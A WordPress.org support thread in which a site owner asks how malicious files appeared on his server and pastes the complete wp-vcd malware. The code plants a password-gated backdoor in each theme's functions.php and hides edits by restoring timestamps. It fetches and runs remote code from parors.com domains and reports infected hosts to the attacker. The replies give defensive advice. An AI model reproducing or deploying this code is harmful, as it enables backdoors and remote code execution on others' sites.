Title: Unknown Upload file
Last modified: February 20, 2019

---

# Unknown Upload file

 *  Resolved [ronwisely](https://wordpress.org/support/users/ronwisely/)
 * (@ronwisely)
 * [7 years, 2 months ago](https://wordpress.org/support/topic/unknown-upload-file/)
 * Hello team ,
    Someone uploaded file on my website . I can’t see any access log.
   No login attempt [https://snag.gy/NBcD30.jpg](https://snag.gy/NBcD30.jpg) except
   mine . But when i checked my last change file . Then i found someone made change
   to wp-content and wp-include . When i checked wp-include then i found someone
   uploaded these files there [https://snag.gy/RXr7nD.jpg](https://snag.gy/RXr7nD.jpg).
   So i am confused who is uploading those file . Atleast i could i got login attemp
   or any access ip in traffic inspector tab . But except mine nothing is there .
 * Same file got uploaded to another domain wp-include and function.php file at 
   the same time without any login attempt . How can this be possible ? Does my 
   hosting owner is uploading those malicious file on my server ? I am using hostgator
   and i faced this problem many time . I added almost of security on my website.
   No one can access my wp-login file because i made the file permission 0000 for
   login.php with .htacess password based on ip address . With many 50+ secuirty.
   htacess code .
 * I can clean my hacked website no issue . But i just want to know is it possible
   to hack someone’s website without getting tracked ip address because i didn’t
   find any login attemp or any upload attempt . I can see its a clear trap of Hostgator
 * Regards,
    Rahul
 * The page I need help with: _[[log in](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fwordpress.org%2Fsupport%2Ftopic%2Funknown-upload-file%2F%3Foutput_format%3Dmd&locale=en_US)
   to see the link]_

Viewing 5 replies - 1 through 5 (of 5 total)

 *  Plugin Author [gioni](https://wordpress.org/support/users/gioni/)
 * (@gioni)
 * [7 years, 2 months ago](https://wordpress.org/support/topic/unknown-upload-file/#post-11232947)
 * Hi! I hope you have not disabled Traffic Inspector? It blocks any attempts to
   upload files with PHP code. I think those files were created by exploiting some
   breach (a security flaw) in a plugin, a theme or in a hosting control panel. 
   So a hacker doesn’t even need to be logged in or to upload a file. When a hacker
   uses this approach, there are no traces except several ordinary requests that
   do not look malicious.
 *  Thread Starter [ronwisely](https://wordpress.org/support/users/ronwisely/)
 * (@ronwisely)
 * [7 years, 2 months ago](https://wordpress.org/support/topic/unknown-upload-file/#post-11233060)
 * Respected Gioni (@gioni) ,
    I really appreciate the reply and thnaks for your
   time .No i didn’t disabled Traffic Inspector And after doing many researched 
   i found they uploaded only one file that is wp-vcd.php in wp-include folder. 
   At the same time in 2 different domain. Last time i remember same time was happening
   with my client . He was having 50+ domain and same malicious file was getting
   uploaded on same time on all wp-include folder .
 * **I am sharing the code which they uploaded on my server **
 *     ```
       <?php
       error_reporting(0);
       //VVFU1RbJ2FjdGlvbiddKQoJCQl
       ini_set('display_errors', 0);
       //VTVFsnYWN0aW9uJ
   
       	$install_code = '<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='12335f8c45ff73be536601a7562a3220';
        if (($tmpcontent = @file_get_contents("http://www.parors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.parors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.parors.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.parors.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>';
   
       	$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
       	$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
   
   
       			$themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
   
       			$ping = true;
       				$ping2 = false;
       			if ($list = scandir( $themes ))
       				{
       					foreach ($list as $_)
       						{
   
       							if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
       								{
       									$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
   
       									if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
       										{
       											if (strpos($content, 'WP_V_CD') === false)
       												{
       													$content = $install_code . $content ;
       													@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
       													touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
       												}
       											else
       												{
       													$ping = false;
       												}
       										}
   
       								}
   
   
       								                              else
                                                                   {
                                                                   $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);
       					                                 foreach ($list2 as $_2)
       					                                      	{
   
   
                                                                                           if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
       								                      {
       									$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
   
       									if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
       										{
       											if (strpos($content, 'WP_V_CD') === false)
       												{
       													$content = $install_code . $content ;
       													@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
       													touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time );
       													$ping2 = true;
       												}
   
       											else
       												{
       													//$ping = false;
       												}
       										}
   
       								}
   
                                                                                         }
   
                                                                   }
   
   
   
   
   
   
       						}
   
       					if ($ping) {
       						$content = @file_get_contents('http://www.parors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
       						//@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.parors.com/admin.txt'));
       					}
   
       															if ($ping2) {
       						$content = @file_get_contents('http://www.parors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
       						//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.parors.com/admin.txt'));
       //echo ABSPATH . 'wp-includes/class.wp.php';
       					}
   
   
   
       				}
   
   
       ?><?php error_reporting(0);?>
       ```
   
 * I am sure bots have not done such work because i have added honey trap in wp-
   include folder and added disallow bots on wp-include folder
    Even i have added
   these 2 code on my wp-config file define( ‘DISALLOW_FILE_EDIT’, true ); define(‘
   DISALLOW_FILE_MODS’, true ); And file permission of wp-login is 0000 But still
   they are able to hack upload such code . May i know how i can block request should
   i make my file permission 444 . Its is done by hosting provider(hostgator) for
   making extra bucks for malware cleaning service ?
 *  Plugin Author [gioni](https://wordpress.org/support/users/gioni/)
 * (@gioni)
 * [7 years, 2 months ago](https://wordpress.org/support/topic/unknown-upload-file/#post-11235521)
 * Why don’t you simply scan the website for malware and delete all “Unattended 
   files”?
 *  Thread Starter [ronwisely](https://wordpress.org/support/users/ronwisely/)
 * (@ronwisely)
 * [7 years, 2 months ago](https://wordpress.org/support/topic/unknown-upload-file/#post-11235535)
 * Respected Gioni (@gioni) sir
    i already deleted the file . And looking for permanent
   solution if you possible . Regards, Rahul
 *  Plugin Author [gioni](https://wordpress.org/support/users/gioni/)
 * (@gioni)
 * [7 years, 2 months ago](https://wordpress.org/support/topic/unknown-upload-file/#post-11236076)
 * Keep all your plugins, themes and WordPress up to date. Delete unused themes 
   and plugins. Enable “Protect all forms on the website with bot detection engine”
   on the antispam admin page. Use the PRO version of WP Cerber which enables you
   to configure automatic malware cleanup on an hourly basis: [https://wpcerber.com/automatic-malware-removal-wordpress/](https://wpcerber.com/automatic-malware-removal-wordpress/)

Viewing 5 replies - 1 through 5 (of 5 total)

The topic ‘Unknown Upload file’ is closed to new replies.

 * ![](https://s.w.org/plugins/geopattern-icon/wp-cerber_77a9bf.svg)
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 * 5 replies
 * 2 participants
 * Last reply from: [gioni](https://wordpress.org/support/users/gioni/)
 * Last activity: [7 years, 2 months ago](https://wordpress.org/support/topic/unknown-upload-file/#post-11236076)
 * Status: resolved